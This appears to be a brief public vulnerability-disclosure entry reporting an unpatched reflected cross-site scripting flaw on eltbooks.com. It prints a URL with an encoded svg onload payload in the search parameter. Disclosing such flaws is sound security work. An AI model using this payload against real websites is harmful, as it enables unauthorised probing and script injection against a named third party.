eltbooks.com XSS vulnerability

Vulnerable URL: http://www.eltbooks.com/search.php?search=%252%253E%253Csvg/onload=promptdocument.domain%253E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 212564 VIP website...